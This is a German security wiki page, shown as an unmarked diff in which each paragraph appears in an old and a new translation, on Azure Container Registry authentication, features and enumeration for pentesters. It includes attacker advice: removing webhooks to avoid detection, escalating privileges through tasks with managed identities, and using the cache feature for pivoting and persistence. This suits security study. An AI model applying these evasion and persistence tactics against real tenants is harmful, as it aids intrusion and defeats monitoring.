- **Mit einem admin account**: Der admin user ist standardmäßig deaktiviert, kann aber aktiviert werden, und dann ist es möglich, mit **username** und **password** des admin accounts auf das Registry zuzugreifen, mit vollen Permissions für das Registry. Das wird weiterhin unterstützt, weil einige Azure-Services es verwenden. Beachte, dass für diesen Benutzer **2 passwords** erstellt werden und beide gültig sind. Du kannst es mit `az acr update -n <acrName> --admin-enabled true` aktivieren. Beachte, dass der Benutzername normalerweise der Registry-Name ist (und nicht `admin`).
- **Mit einem token**: Es ist möglich, einen **token** mit einer bestimmten **`scope map`** (Permissions) zu erstellen, um auf das Registry zuzugreifen. Dann kann der Name des tokens als username und eines der generierten passwords zur Authentifizierung beim Registry verwendet werden mit `docker login -u <registry-name> -p <password> <registry-url>`
- **Mit einem Service Principal**: Es ist möglich, einen **service principal** zu erstellen und ihm eine Rolle wie **`AcrPull`** zuzuweisen, um Images zu pullen. Dann ist es möglich, sich beim Registry mit der SP appId als username und einem erzeugten secret als password einzuloggen.
- **Mit Entra ID**: Dies ist die **Standardmethode**, um sich bei einer ACR zu authentifizieren. Sie verwendet den Befehl **`az acr login`**, um sich bei der ACR zu authentifizieren. Dieser Befehl **speichert die Zugangsdaten** in der Datei **`~/.docker/config.json`**. Wenn du diesen Befehl außerdem aus einer Umgebung ohne Zugriff auf einen Docker-Socket ausführst, beispielsweise in einer **cloud shell**, kannst du das Flag **`--expose-token`** verwenden, um das **Token** für die Authentifizierung bei der ACR abzurufen. Für die Authentifizierung musst du anschließend `00000000-0000-0000-0000-000000000000` als Benutzernamen verwenden, wie hier: `docker login myregistry.azurecr.io --username 00000000-0000-0000-0000-000000000000 --password-stdin <<< $TOKEN`
- **Mit einem Admin-Konto**: Der Admin-Benutzer ist standardmäßig deaktiviert, kann jedoch aktiviert werden. Anschließend ist es möglich, mit dem **Benutzernamen** und **Passwort** des Admin-Kontos auf die Registry zuzugreifen, das über vollständige Berechtigungen für die Registry verfügt. Dies wird weiterhin unterstützt, da einige Azure-Services es verwenden. Beachte, dass für diesen Benutzer **2 Passwörter** erstellt werden und beide gültig sind. Du kannst es mit `az acr update -n <acrName> --admin-enabled true` aktivieren. Beachte, dass der Benutzername normalerweise dem Namen der Registry entspricht (und nicht `admin`).
- **Mit einem Token**: Es ist möglich, ein **Token** mit einer bestimmten **`scope map`** (Berechtigungen) für den Zugriff auf die Registry zu erstellen. Anschließend kannst du den Namen des Tokens als Benutzernamen und eines der generierten Passwörter verwenden, um dich mit `docker login -u <registry-name> -p <password> <registry-url>` bei der Registry zu authentifizieren.
- **Mit einem Service Principal**: Es ist möglich, einen **Service Principal** zu erstellen und ihm eine Rolle wie **`AcrPull`** zum Pullen von Images zuzuweisen. Anschließend ist es möglich, sich bei der **Registry anzumelden**, indem die SP-AppId als Benutzername und ein generiertes Secret als Passwort verwendet werden.
Example script from the [docs](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) to generate a SP with access over a registry:
Beispielskript aus der [Dokumentation](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-auth-service-principal) zum Erstellen eines SP mit Zugriff auf eine Registry:
```bash
#!/bin/bash
ACR_NAME=$containerRegistry
@@ -51,39 +51,39 @@ echo "Service principal password: $PASSWORD"
```
### Encryption
Nur die **Premium SKU** unterstützt **encryption at rest** für die Images und andere Artifacts.
Nur die **Premium SKU** unterstützt **encryption at rest** für die Images und andere Artefakte.
### Networking
Nur die **Premium SKU** unterstützt **private endpoints**. Die anderen unterstützen nur **public access**. Ein public endpoint hat das Format `<registry-name>.azurecr.io` und ein private endpoint hat das Format `<registry-name>.privatelink.azurecr.io`. Aus diesem Grund muss der Name des Registry eindeutig in ganz Azure sein.
Nur die **Premium SKU** unterstützt **private endpoints**. Die anderen unterstützen ausschließlich **public access**. Ein öffentlicher Endpoint hat das Format `<registry-name>.azurecr.io`, und ein privater Endpoint hat das Format `<registry-name>.privatelink.azurecr.io`. Aus diesem Grund muss der Name der Registry in ganz Azure eindeutig sein.
### Microsoft Defender for Cloud
Dies ermöglicht dir, die **Images** im Registry auf **vulnerabilities** zu **scan**.
Damit können die **Images** in der Registry auf **vulnerabilities** gescannt werden.
### Soft-delete
Die **soft-delete**-Funktion ermöglicht es dir, ein gelöschtes Registry innerhalb der angegebenen Anzahl von Tagen wiederherzustellen. Diese Funktion ist standardmäßig **disabled**.
Die Funktion **soft-delete** ermöglicht es, eine **gelöschte Registry** innerhalb der angegebenen Anzahl von Tagen **wiederherzustellen**. Diese Funktion ist **standardmäßig deaktiviert**.
### Webhooks
Es ist möglich, **Webhooks** innerhalb von Registries zu **create**. In diesem Webhook muss die URL angegeben werden, an die eine **request** gesendet wird, wann immer eine push- oder delete-Aktion ausgeführt wird. Außerdem können Webhooks einen Scope angeben, um die Repositories (Images) zu bestimmen, die betroffen sind. Zum Beispiel bedeutet 'foo:\*' Events unter dem Repository 'foo'.
Es ist möglich, **Webhooks** innerhalb von Registries zu **erstellen**. In diesem Webhook muss die URL angegeben werden, an die ein **request gesendet wird, sobald eine push- oder delete-Aktion ausgeführt wird**. Außerdem können Webhooks einen Scope angeben, der festlegt, welche Repositories (Images) betroffen sind. Beispielsweise bedeutet `foo:*`, dass es um Events unter dem Repository `foo` geht.
Aus Angreiferperspektive ist es interessant, dies **vor jeder Aktion** im Registry zu prüfen und es bei Bedarf vorübergehend zu entfernen, um nicht entdeckt zu werden.
Aus Sicht eines Angreifers ist es interessant, dies **vor jeder Aktion** in der Registry zu überprüfen und den Webhook bei Bedarf vorübergehend zu entfernen, um eine Entdeckung zu vermeiden.
### Connected registries
Dies ermöglicht im Grunde, die **Images** von einem Registry zu einem anderen zu **mirror**, normalerweise on-premises.
Dies ermöglicht grundsätzlich das **Spiegeln der Images** von einer Registry in eine andere, die sich üblicherweise on-premises befindet.
Es gibt 2 Modi: **ReadOnly** und **ReadWrite**. Im ersten werden die Images nur aus dem Source Registry **pulled**, und im zweiten können Images auch zum Source Registry **pushed** werden.
Es gibt 2 Modi: **ReadOnly** und **ReadWrite**. Im ersten Modus werden die Images nur aus der Quell-Registry **gezogen**, im zweiten Modus können Images auch in die Quell-Registry **gepusht** werden.
Damit Clients von Azure aus auf das Registry zugreifen können, wird ein **token** generiert, wenn das conected registry verwendet wird.
Damit Clients aus Azure auf die Registry zugreifen können, wird bei der Verwendung der Connected Registry ein **token** generiert.
### Runs & Tasks
Runs & Tasks ermöglicht es, in Azure containerbezogene Aktionen auszuführen, die man typischerweise lokal oder in einer CI/CD-Pipeline machen musste. Zum Beispiel kannst du **Images im Registry build, push und run**.
Mit Runs & Tasks können containerbezogene Aktionen in Azure ausgeführt werden, die normalerweise lokal oder in einer CI/CD-Pipeline ausgeführt werden müssen. Beispielsweise können **Images in der Registry erstellt, gepusht und ausgeführt werden**.
Der einfachste Weg, einen Container zu bauen und auszuführen, ist die Verwendung eines regulären Run:
Die einfachste Möglichkeit, einen Container zu erstellen und auszuführen, besteht darin, einen regulären Run zu verwenden:
```bash
# Build
echo "FROM mcr.microsoft.com/hello-world" > Dockerfile
@@ -92,20 +92,20 @@ az acr build --image sample/hello-world:v1 --registry mycontainerregistry008 --f
# Run
az acr run --registry mycontainerregistry008 --cmd '$Registry/sample/hello-world:v1' /dev/null
```
However, das wird runs auslösen, die aus Angreiferperspektive nicht besonders interessant sind, weil ihnen keine managed identity zugeordnet ist.
Allerdings werden dadurch Runs ausgelöst, die aus Angreifersicht nicht besonders interessant sind, da ihnen keine managed identity zugewiesen ist.
However, **tasks** können eine **system and user managed identity** zugeordnet bekommen. Diese tasks sind die, die nützlich sind, um im container **privileges zu eskalieren**. Im privileges escalation Abschnitt ist es möglich zu sehen, wie tasks verwendet werden können, um privileges zu eskalieren.
**tasks** können jedoch eine **system and user managed identity** zugewiesen bekommen. Diese tasks sind nützlich, um die **Rechte im Container zu erweitern**. Im Abschnitt zur Privilege Escalation wird gezeigt, wie tasks zur Erweiterung von Rechten verwendet werden können.
### Cache
Die cache-Funktion erlaubt es, **images aus einem external repository herunterzuladen** und die neuen Versionen im registry zu speichern. Dafür müssen einige **credentials konfiguriert** sein, indem man die credentials aus einem Azure Vault auswählt.
Die Cache-Funktion ermöglicht es, **Images aus einem externen Repository herunterzuladen** und die neuen Versionen in der Registry zu speichern. Dafür müssen **Credentials konfiguriert** werden, indem die Credentials aus einem Azure Vault ausgewählt werden.
Das ist aus Angreiferperspektive sehr interessant, weil es ermöglicht, zu einer **external platform zu pivoten**, wenn der Angreifer genügend permissions hat, um auf die credentials zuzugreifen, **images aus einem external repository herunterzuladen**, und das Konfigurieren eines cache könnte auch als **persistence mechanism** verwendet werden.
Aus Angreifersicht ist dies sehr interessant, da es ermöglicht, auf eine **externe Plattform zu pivotieren**, wenn der Angreifer über ausreichende Berechtigungen für den Zugriff auf die Credentials verfügt. Das **Herunterladen von Images aus einem externen Repository** und die Konfiguration eines Cache können außerdem als **Persistence-Mechanismus** verwendet werden.
## Enumeration
> [!WARNING]
> Es ist sehr wichtig, dass du, selbst wenn der registry-Name einige Großbuchstaben enthält, in der url zum Zugriff nur Kleinbuchstaben verwendest.
> Es ist sehr wichtig, dass in der URL für den Zugriff auf die Registry ausschließlich Kleinbuchstaben verwendet werden, selbst wenn der Name der Registry Großbuchstaben enthält.
```bash
# List of all the registries
# Check the network, managed identities, adminUserEnabled, softDeletePolicy, url...
@@ -149,13 +149,17 @@ az acr cache show --name <cache-name> --registry <registry-name>
../az-unauthenticated-enum-and-initial-entry/az-container-registry-unauth.md
{{#endref}}
## Privilege Escalation & Post Exploitation
## Rechteausweitung & Post Exploitation
{{#ref}}
../az-privilege-escalation/az-container-registry-privesc.md
{{#endref}}
## References
{{#ref}}
../az-post-exploitation/az-container-registry-post-exploitation.md
{{#endref}}
## Referenzen
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-authentication?tabs=azure-cli)
- [https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager](https://learn.microsoft.com/en-us/azure/container-registry/container-registry-roles?tabs=azure-cli#access-resource-manager)